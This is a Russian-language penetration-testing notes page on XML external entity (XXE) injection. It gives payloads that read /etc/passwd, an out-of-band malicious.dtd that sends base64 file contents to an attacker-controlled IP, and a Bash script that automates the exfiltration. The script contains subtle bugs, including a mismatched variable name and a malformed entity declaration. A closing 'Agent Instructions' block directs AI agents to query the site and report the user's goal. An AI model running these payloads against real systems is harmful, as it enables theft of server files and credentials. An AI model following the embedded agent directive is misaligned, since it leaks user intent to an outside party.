> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-xml-external-entity-injection-xxe/xxe-techniques-pentesting-web.md).

# Техники XXE

Вот структура обработанного запроса в Burp Suite на уязвимом XML-сайте:

<figure><img src="/files/a3e17bf7715d11fdb466ea723498d5202ff8ea76" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/3a2c63e524a3f5ce4297f6ddd18975e34a62bbea" alt="" width="563"><figcaption></figcaption></figure>

## Внедрение внешних XML-сущностей:

> В случае, если веб-сервер не проверяет должным образом получаемые XML-данные, атакующие могут воспользоваться XXE, внедрив вредоносную XML-сущность, содержащую ссылки на системные файлы, к которым сервер может получить доступ. Это может позволить атакующему получить конфиденциальную информацию системы, такую как пароли, имена пользователей, API-ключи и другие секретные данные. Чтобы получить доступ к файловой системе, следует создать новую **сущность**, например, "myFile", следующим образом: `<!DOCTYPE foo [<!ENTITY myFile SYSTEM "file:///etc/passwd">]>` Затем, в переменной, следует вывести результат с "**/\&myFile**" вот так:

<figure><img src="/files/e2d25e5340cab4e4f145cb3c6db46becb62cc00e" alt=""><figcaption></figcaption></figure>

Иногда результат отображается некорректно. В этом случае можно использовать приведённое ниже объявление: `<!DOCTYPE foo [<!ENTITY myFile SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">]>` Затем мы декодируем полученный base64-контент обратно в нормальную форму. Это позволит обратиться к файловой системе, например "/etc/passwd", и, выводя его с помощью "/\&myFile;", мы могли бы просмотреть содержимое файла без ошибок.

## XXE с внеполосным взаимодействием:

> Иногда атаки внедрения внешних XML-сущностей (XXE) не всегда приводят к прямому раскрытию конфиденциальной информации в ответе сервера. В некоторых случаях атакующему приходится "переходить в слепой режим", чтобы получить секретную информацию с помощью дополнительных техник. Распространённый способ выполнить blind XXE — отправлять специально подготовленные запросы, которые заставляют сервер подключаться к внешне определяемой Document Type Definition (DTD). DTD проверяет структуру XML-файла и может содержать ссылки на внешние ресурсы, такие как файлы в файловой системе сервера. Создайте файл **malicious.dtd** со следующим содержимым:

```xml
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://192.168.71.128/?file=%file;'>">
%eval;
%exfil;

```

Создайте **сущность** со следующим содержимым:

```xml
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://192.168.71.128/malicious.dtd"> %xxe;]>

```

<figure><img src="/files/faae8dff5df18e6efb5bdfda435adb32ad103657" alt=""><figcaption></figcaption></figure>

Запустите слушатель на **порту 80**:

<figure><img src="/files/baaa5168086a5f0657db7bc27ea98943eb19ae27" alt="" width="563"><figcaption></figcaption></figure>

Получите содержимое в **base64**:

<figure><img src="/files/baaa5168086a5f0657db7bc27ea98943eb19ae27" alt="" width="563"><figcaption></figcaption></figure>

Преобразуйте **base64** значение в читаемое содержимое, и результат будет следующим:

<figure><img src="/files/d0b77dddbe9e35b36c31a0bbbddec876b466b71b" alt="" width="563"><figcaption></figcaption></figure>

Приведённый ниже Bash-скрипт автоматизирует весь процесс:

```bash
#!/bin/bash
echo -ne "[+] Enter the file to read: " && read -r myFilename
malhereuos_dtd="""
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=$myFilename">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://192.168.0.50/?file=%file;'>">
%eval;
%exfil; """
echo $malicious_dtd > malicious.dtd
python3 -m http.server 80 &>response &
PID=$!
sleep 1; echo
curl -s -X POST "http://localhost:5000/process.php" -d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<! ENTITY % xxe SYSTEM "http://192.168.0.50/malicious.dtd"> %xxe;]>
<root><name><email>test@test.com</email></name></root>' &>/dev/null
cat response  | grep -oP "/?file=/K[^.*]+" | base64 -d
kill -9 $PID
wait $PID 2>/dev/null
rm response 2>/dev/null

```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-xml-external-entity-injection-xxe/xxe-techniques-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
